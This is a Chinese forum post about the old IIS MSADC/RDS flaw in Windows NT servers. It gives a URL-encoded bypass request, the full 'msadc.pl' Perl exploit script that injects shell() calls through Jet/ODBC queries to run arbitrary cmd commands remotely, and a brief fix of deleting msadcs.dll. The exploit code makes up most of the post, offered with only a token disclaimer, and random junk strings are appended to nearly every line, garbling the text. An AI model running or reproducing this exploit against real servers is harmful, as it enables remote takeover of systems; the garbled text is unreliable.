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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) } O+xs3Uv  
<xSh13<  
涉及程序: *~GI-h  
Microsoft NT server :ILpf+`yY  
(hOD  
描述: A-L1vu;  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 I(7 GVYM  
Pqx?0 f)  
详细: 4z P"h0  
如果你没有时间读详细内容的话,就删除: mf g>69,w  
c:\Program Files\Common Files\System\Msadc\msadcs.dll Fc[vs52  
有关的安全问题就没有了。 mCt/\  
\mLEwNhRY  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 `W}pA mhj  
? ch?q~e)  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 oU,8?( }'~  
关于利用ODBC远程漏洞的描述,请参看: G^ k8Or2  
oJNQdW[  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm L/Kb\\f  
, poc!n//  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 ]#4kqj}  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp q !9;JrX  
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这里不再论述。 yCR8c,'8  
C.ynOo,W  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: j5R0e}/r  
p,k1*|j  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset wz3X;1l`c  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! Jc?zX8>Ae:  
G~C-tAB  
5\zR>Tg".  
#将下面这段保存为txt文件,然后: "perl -x 文件名" (M|DNDM'd  
;39a`  
#!perl zd2_k 9  
# 0kCo0{+n  
# MSADC/RDS 'usage' (aka exploit) script c;/vzIJj  
# e.L&A|  
# by rain.forest.puppy 4Ia'Yr  
# ,<+:xl   
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me } l+_KA  
# beta test and find errors! |LJv*  
Z1 )1s  
use Socket; use Getopt::Std; BZhf/{h[@  
getopts("e:vd:h:XR", \%args); clyp0`,7  
,7cw%mQA  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; Zs t)S(  
msCz\8Xd  
if (!defined $args{h} && !defined $args{R}) { * G*VY#L  
print qq~ >QJDO ]~V  
Usage: msadc.pl -h <host> { -d <delay> -X -v } =9 QyO h  
-h <host> = host you want to scan (ip or domain) \i[N ";K  
-d <seconds> = delay between calls, default 1 second -[vw 8  
-X = dump Index Server path table, if available &+02Sn3A  
-v = verbose =Bc{0p*  
-e = external dictionary file for step 5 wQ+i l6  
837:;<T  
Or a -R will resume a command session @i'D)6sC  
tk -)N+M.  
~; exit;} GIYdI#0RC  
!XjZt  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; <t!0{FJ  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} %"c;kvw  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} <(TAA15Xol  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); Ep;?%o,G  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 0LC]%x+"  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } Zjn1,\(t~u  
@I1*b>X~<  
if (!defined $args{R}){ $ret = &has_msadc; b(mZ/2,B  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} < ~CY?  
4J`-&05O  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" K)x6F 15r  
. "cmd /c "; nm\f$K>Pg  
$in=<STDIN>; chomp $in; |UlR+'rl  
$command="cmd /c " . $in ; f%_$RdU  
Z%ZOAu&p  
if (defined $args{R}) {&load; exit;} c]VK%zl  
Na]Z%#~  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ! 1?u0  
&try_btcustmr; Y ?~n6<  
r9(c<E?,h  
print "\nStep 2: Trying to make our own DSN..."; ER-Xd9R  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; ":T"Y;  
MY\mo,#  
print "\nStep 3: Trying known DSNs..."; aBQ--Sz  
&known_dsn; G+sB/l"  
~7j-OWz9  
print "\nStep 4: Trying known .mdbs..."; o6 NmDv5  
&known_mdb; @|<nDd{2  
%vf;qVoA~  
if (defined $args{e}){ hiVDN"$$  
print "\nStep 5: Trying dictionary of DSN names..."; hx%UZ<a  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 0 )PZS>  
aVV E 2:M  
print "Sorry Charley...maybe next time?\n"; gjK: a@{  
exit; tculG|/  
s$9ow<oi]  
############################################################################## sX>|Y3S\U  
g&B7Y|Es  
sub sendraw { # ripped and modded from whisker vm*9xs  
sleep($delay); # it's a DoS on the server! At least on mine... }Dcpe M?  
my ($pstr)=@_; OmK0-fa/  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || O*/Utl  
die("Socket problems\n"); 2y$DTMu  
if(connect(S,pack "SnA4x8",2,80,$target)){ uU$/4{  
select(S); $|=1; ](-[ I#  
print $pstr; my @in=<S>; v{lDEF@2^N  
select(STDOUT); close(S); v(O@~8(I  
return @in; lr)MySsu#H  
} else { die("Can't connect...\n"); }} <.lN'i;(  
y&4im;X0  
############################################################################## GQ.akA_(  
gQ '=mU  
sub make_header { # make the HTTP request ?OO !M  
my $msadc=<<EOT `ALQSo~l  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 u0+<[Ia'q  
User-Agent: ACTIVEDATA )('{q}JxV  
Host: $ip Nt<Ac&6 s  
Content-Length: $clen `+KLE(]vyH  
Connection: Keep-Alive U!"RfRD.<  
S)2Uoj  
ADCClientVersion:01.06 hZe9Y?)  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 3PzF^8KJ  
)086u8w )y  
--!ADM!ROX!YOUR!WORLD! bX`]<$dr3  
Content-Type: application/x-varg xU.Ymq& 5  
Content-Length: $reqlen *0a7H$iQ(]  
S +73 /Vs  
EOT bw#\"uJ  
; $msadc=~s/\n/\r\n/g; s5d[sx  
return $msadc;} tUfze9m  
odcrP\S  
############################################################################## 8fWnKWbbjw  
blbzh';0}  
sub make_req { # make the RDS request 'i/"D8  
my ($switch, $p1, $p2)=@_; nM$-L.dG  
my $req=""; my $t1, $t2, $query, $dsn; @M }`nKXM  
OH+2)X  
if ($switch==1){ # this is the btcustmr.mdb query z"sv,W  
$query="Select * from Customers where City=" . make_shell(); 3@;24X  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . [.G~5%974  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} Q6X}R,KA1  
.$x822   
elsif ($switch==2){ # this is general make table query <&M5#:u  
$query="create table AZZ (B int, C varchar(10))"; [z} $G:s  
$dsn="$p1";} -cXVkH{  
E&W4`{6K4  
elsif ($switch==3){ # this is general exploit table query .W-=VzWX  
$query="select * from AZZ where C=" . make_shell(); OHF:E44k  
$dsn="$p1";} 9Cb>J  
Me,AE^pgL'  
elsif ($switch==4){ # attempt to hork file info from index server /8(t:  
$query="select path from scope()"; IP 1{gMG  
$dsn="Provider=MSIDXS;";} Ce3  
uUG&At  
elsif ($switch==5){ # bad query V SH64  
$query="select"; FRE${~Xd  
$dsn="$p1";} | -AR)Smt  
c*> SZ'T\  
$t1= make_unicode($query); N;,N6&veK/  
$t2= make_unicode($dsn); 6 ^p>f:5  
$req = "\x02\x00\x03\x00"; v".u#G'u  
$req.= "\x08\x00" . pack ("S1", length($t1)); n-lDE}K9%B  
$req.= "\x00\x00" . $t1 ; $J:~jY/J  
$req.= "\x08\x00" . pack ("S1", length($t2)); 0jefV*3qpB  
$req.= "\x00\x00" . $t2 ; '-X913eG!  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; j7&0ckN&G  
return $req;} MdNV3:[\  
oxqD/fY  
############################################################################## V :4($  
5HbPS%^.  
sub make_shell { # this makes the shell() statement Vuo 8[h>  
return "'|shell(\"$command\")|'";} {[B`q  
iuq%Q\0@w  
############################################################################## b{JxTT}03  
Sh5SOYLz  
sub make_unicode { # quick little function to convert to unicode laFF/g;sRC  
my ($in)=@_; my $out; ] yXrD`J!  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } G Q+g.{c  
return $out;} w.0]>/C  
h5#V,$  
############################################################################## le`_    
{?'c|\n Li  
sub rdo_success { # checks for RDO return success (this is kludge) G9\@&=  
my (@in) = @_; my $base=content_start(@in); lhV'Q]s@6  
if($in[$base]=~/multipart\/mixed/){ .7GAGMNS  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} ?r6uEZ  
return 0;} fL1EQ)  
ze%)fZI0f  
############################################################################## HV6'0_R0  
]O;Rzq{D(  
sub make_dsn { # this makes a DSN for us )%5T*}j  
my @drives=("c","d","e","f"); s*pgR=dZZ  
print "\nMaking DSN: "; "Q@ZS2;A  
foreach $drive (@drives) { IC7S +v  
print "$drive: "; 4mzWNr>fb  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . 7_#i,|]58  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" =i)k@w_(x  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); 7^:0?Q  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 3~!PJI1  
return 0 if $2 eq "404"; # not found/doesn't exist R'r^v  
if($2 eq "200") { lFL iW  
foreach $line (@results) { Me*]Bh  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} KI Ua  
} return 0;} wKAc ;!  
(Sg52zv  
############################################################################## ^E8eW  
~\m|pxcj  
sub verify_exists { nMHs5'_y  
my ($page)=@_; $.@)4Nu!_  
my @results=sendraw("GET $page HTTP/1.0\n\n"); jlZW!$Iq  
return $results[0];} Ot} E  
sj@'C@oK  
############################################################################## V<!E9/4rS  
/\9X0a2h|E  
sub try_btcustmr { l;g8_uyjv7  
my @drives=("c","d","e","f"); .<`Rq'  
my @dirs=("winnt","winnt35","winnt351","win","windows"); L~jKx)S%  
IZ6[|Ach6  
foreach $dir (@dirs) { V+l>wMeo  
print "$dir -> "; # fun status so you can see progress Et+N4w  
foreach $drive (@drives) { .ZrQ{~t  
print "$drive: "; # ditto ^dR5fAS  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; &H{KXX"X  
$reqlenlen=length( "$reqlen" ); d98ZC+q  
$clen= 206 + $reqlenlen + $reqlen; }A"%YDrNbG  
LJMw-#61sj  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); }0Q6iHX@  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 1vQj` F  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} [Hww3+~+  
7Jm9,4]  
############################################################################## BI]%$rq  
eS jXaZh  
sub odbc_error { *lIK?"mo  
my (@in)=@_; my $base; `_'I 9,.a  
my $base = content_start(@in); vF K&.J  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this z<jWy$Ta;  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; vF=d`T<  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; NY ZPh%x  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; pFg9-xd%  
return $in[$base+4].$in[$base+5].$in[$base+6];} )S|}de/a2  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; bewi.$E{  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 1qb 3.  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} F3b[L^Km]  
Bk 1Q.Un  
############################################################################## .Go3'$'v  
9)QvJ87e@7  
sub verbose { V< @]Iv  
my ($in)=@_; |:tFQ.Z'2  
return if !$verbose; h2Z Gh  
print STDOUT "\n$in\n";} 08S|$_  
f[!Q R  
############################################################################## @&]j[if (s  
C/+8lA6NV  
sub save { ?K/z`E!xhN  
my ($p1, $p2, $p3, $p4)=@_; -<i&`*zG  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; #{l+I( M  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; ?'h<yxu]u0  
close OUT;} qf9.S)H1Z  
!_cT_ WHty  
############################################################################## mIZ#uW  
9frS!AQ  
sub load { d*T;RBk  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; CBTa9|57  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); q7wd96G:  
@p=<IN>; close(IN); d]k >7.  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); |YQ:4'^"  
$target= inet_aton($ip) || die("inet_aton problems"); VWG#v #o  
print "Resuming to $ip ..."; n}yqpW!%n  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; q"A(l  
if($p[1]==1) { ;#!`c gAh  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; lFD$ Mc  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; ~'HwNzDQc  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); Ajhrsa\~a  
if (rdo_success(@results)){print "Success!\n";} gBq,So  
else { print "failed\n"; verbose(odbc_error(@results));}} 8lt P)K4  
elsif ($p[1]==3){ 2|#3rF  
if(run_query("$p[3]")){ ue$\ i=jw  
print "Success!\n";} else { print "failed\n"; }} pscCXk(|A`  
elsif ($p[1]==4){ 0%+TU4Xx  
if(run_query($drvst . "$p[3]")){ G;MgrA#\  
print "Success!\n"; } else { print "failed\n"; }} Sg0 _l(  
exit;} Y=4,d4uu  
;/SM^&Y  
############################################################################## K,^{|5'3q  
\sF}NBNT@  
sub create_table { c% 0h!zF  
my ($in)=@_; jpaY:fcF  
$reqlen=length( make_req(2,$in,"") ) - 28; 'UT 4x9&z  
$reqlenlen=length( "$reqlen" ); !o&Mw:d  
$clen= 206 + $reqlenlen + $reqlen; `yHV10  
my @results=sendraw(make_header() . make_req(2,$in,"")); rsvZi1N4w$  
return 1 if rdo_success(@results); /z,sM"d  
my $temp= odbc_error(@results); verbose($temp); z8mR< q%`  
return 1 if $temp=~/Table 'AZZ' already exists/; q0w5ADd  
return 0;} O.1Z3~r-N  
w-|i8%X  
############################################################################## aIZ@5w"7  
|jaUVE_2[  
sub known_dsn { &|26x >  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go U\ y?P:yy  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", Om{[ <tL  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", >NW /0'/  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); M\8FjJ>9  
3`k 1  
foreach $dSn (@dsns) { ho@f}4jhQ3  
print "."; j 46f Q  
next if (!is_access("DSN=$dSn")); c:51In|~{C  
if(create_table("DSN=$dSn")){ GOa](oD}  
print "$dSn successful\n"; ~c :e0}  
if(run_query("DSN=$dSn")){ F)Yn1&a#H  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { W==HV0n  
print "Something's borked. Use verbose next time\n";}}} print "\n";} bUp%87<*X  
n\.K:t[:  
############################################################################## Ab-S*| B  
* "ER8\  
sub is_access { PT|^RF%fT  
my ($in)=@_; QM9~O#rL  
$reqlen=length( make_req(5,$in,"") ) - 28; < 7zyRm@S  
$reqlenlen=length( "$reqlen" ); OcMd'fwO  
$clen= 206 + $reqlenlen + $reqlen; +:~&"U^ z&  
my @results=sendraw(make_header() . make_req(5,$in,"")); @iy ^a  
my $temp= odbc_error(@results); )"jG)c^1*  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); }vxb, [#  
return 0;} _ts0@Z_:  
netKt_  
############################################################################## HPCgv?E3  
7J,W#Ql)5  
sub run_query { {{[).o/  
my ($in)=@_; /^#k /z  
$reqlen=length( make_req(3,$in,"") ) - 28; E[t\LTt*n  
$reqlenlen=length( "$reqlen" ); CjOaw$s  
$clen= 206 + $reqlenlen + $reqlen; B8|=P&L7N  
my @results=sendraw(make_header() . make_req(3,$in,"")); o]}b#U8S  
return 1 if rdo_success(@results); pt(GpbtWK  
my $temp= odbc_error(@results); verbose($temp); zV4%F"-  
return 0;} [t<^WmgtxL  
#'^p-Jdm  
############################################################################## Yiu)0\ o  
Q9 kKk  
sub known_mdb { A`=ESz  
my @drives=("c","d","e","f","g"); 27E6S)zv  
my @dirs=("winnt","winnt35","winnt351","win","windows"); p2!x8`IB*  
my $dir, $drive, $mdb; . %tc7`k8  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; ).N}x^  
TpZ) wC  
# this is sparse, because I don't know of many iyu%o9_0  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 5gGYG]*l  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", W&z.O  
"\\system32\\certmdb.mdb", >?b/_O  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%  t\{q,4  
GfJm&'U&  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 0X0HDQ  
"\\cfusion\\cfapps\\forums\\forums_.mdb", /zuU  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", '7wI 2D  
"\\cfusion\\cfapps\\security\\realm_.mdb", L,waQk / @  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", ^gH.5L0]gH  
"\\cfusion\\database\\cfexamples.mdb", phl5E:fIKx  
"\\cfusion\\database\\cfsnippets.mdb", }^?dK3~q  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 68Wm=j.m  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 6H VS0  
"\\cfusion\\brighttiger\\database\\cleam.mdb", W8yr06{]  
"\\cfusion\\database\\smpolicy.mdb", 2[9hl@=%  
"\\cfusion\\database\cypress.mdb", Trbgg  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", =d7lrx+z  
"\\website\\cgi-win\\dbsample.mdb", zBB4lC{q  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", "KW\:uc /  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" QCa$<~c  
); #these are just >efYpd#^  
foreach $drive (@drives) { >B skw2  
foreach $dir (@dirs){ '8i np[_  
foreach $mdb (@sysmdbs) { \0(QO8.  
print "."; mV`Z]-$$i  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ # u^FB  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 9:fVHynr  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ > g8;x#  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; z:RwCd1\  
} else { print "Something's borked. Use verbose next time\n"; }}}}} M)I&^mm39  
\KLWOj%  
foreach $drive (@drives) { <R*.T)Z1  
foreach $mdb (@mdbs) { Bu>srX9f  
print "."; )f(#Fn  
if(create_table($drv . $drive . $dir . $mdb)){ -:a 9'dT  
print "\n" . $drive . $dir . $mdb . " successful\n"; iIcO_ZyA  
if(run_query($drv . $drive . $dir . $mdb)){ "] kaaF$U%  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; V`S6cmwdc\  
} else { print "Something's borked. Use verbose next time\n"; }}}} GZXUB0W\@)  
} bX|Z||img  
~e~4S~{  
############################################################################## D>?%p"e  
lp!@uoN^T  
sub hork_idx { D D"]as"#  
print "\nAttempting to dump Index Server tables...\n"; <z%zz c1s  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; m,Q<4'  
$reqlen=length( make_req(4,"","") ) - 28; H:,rNaz7D^  
$reqlenlen=length( "$reqlen" ); jp=^$rS6[  
$clen= 206 + $reqlenlen + $reqlen; x?va26FV  
my @results=sendraw2(make_header() . make_req(4,"","")); RQ9fA1YP  
if (rdo_success(@results)){ JT[|l-\zo  
my $max=@results; my $c; my %d; '<>pz<c  
for($c=19; $c<$max; $c++){ ,U],Wu)  
$results[$c]=~s/\x00//g; PM7*@~.  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; tE3!;  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; `-]*Qb+  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; f@[q# }6  
$d{"$1$2"}="";} ]*%0CDY6`N  
foreach $c (keys %d){ print "$c\n"; } wcsUb 9(  
} else {print "Index server doesn't seem to be installed.\n"; }} 'Xxt[Jy  
,hT t]w  
############################################################################## KNQX\-=  
b0 PF7PEEQ  
sub dsn_dict { {]Nvq9?  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); Xv]O1fcI  
while(<IN>){ fk#SD "iJ  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 2o6KVQ  
next if (!is_access("DSN=$dSn")); ^Ml)g=Fq  
if(create_table("DSN=$dSn")){ ;5PXPpJ  
print "$dSn successful\n"; ::9U5E;!  
if(run_query("DSN=$dSn")){ +QtK "5M  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { S,n*1&ogj  
print "Something's borked. Use verbose next time\n";}}} G9N6iKP!  
print "\n"; close(IN);} o" &7$pAh  
XlV#)JX  
############################################################################## lDCoYX_  
_j}|R(s*+V  
sub sendraw2 { # ripped and modded from whisker vtCt6M  
sleep($delay); # it's a DoS on the server! At least on mine... vbmi_[,U  
my ($pstr)=@_; <^ @1wg  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || la</IpC  
die("Socket problems\n"); ,wlF n  
if(connect(S,pack "SnA4x8",2,80,$target)){ XcR2]\  
print "Connected. Getting data"; (O\5gAx  
open(OUT,">raw.out"); my @in;  zy  
select(S); $|=1; print $pstr; $FNj>1  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 8}XtVF;  
close(OUT); select(STDOUT); close(S); return @in; 1bYc^(z0  
} else { die("Can't connect...\n"); }} iNe;h|  
P"XF|*^U  
############################################################################## QuT8(s1Q!  
kHo0I8  
sub content_start { # this will take in the server headers )_,*2|b  
my (@in)=@_; my $c; Nm\0>}  
for ($c=1;$c<500;$c++) { =Qsh3b&<P  
if($in[$c] =~/^\x0d\x0a/){ &UEr4RK;I  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } c] $X+  
else { return $c+1; }}} }XX)U_ x  
return -1;} # it should never get here actually CDK0 $W n  
;v^tUyhCb  
############################################################################## i!*w'[G->Y  
q}*(rR9/Br  
sub funky { jdK~]eld=  
my (@in)=@_; my $error=odbc_error(@in); )c^Rc9e/  
if($error=~/ADO could not find the specified provider/){ 8uP,#D<wZ  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; \v)Dy)Vhg2  
exit;} QpBgG~h"  
if($error=~/A Handler is required/){ &;&i#ZO  
print "\nServer has custom handler filters (they most likely are patched)\n"; (]w_}E]N  
exit;} Dwj!B;AZ_  
if($error=~/specified Handler has denied Access/){ "|{ NRIE  
print "\nServer has custom handler filters (they most likely are patched)\n"; (Dlh;Ic r9  
exit;}} $.a<b^.Xi  
I+ rHb< P%  
############################################################################## _<6 ^r  
s+#gH@c  
sub has_msadc { IX$dDwY|O>  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); p^3 ]Q  
my $base=content_start(@results); ['~3"lK^O  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); =kp #v  
return 0;} B: \\aOEj  
Pv17wUB  
######################## ~pO6C*"  
yH|[K=?S[  
9E'fM  
解决方案: P(l$5x]g,  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll B5GT^DaT  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 wzVx16Rvc  
;IZ*o<_  
拿出来充数 哈哈
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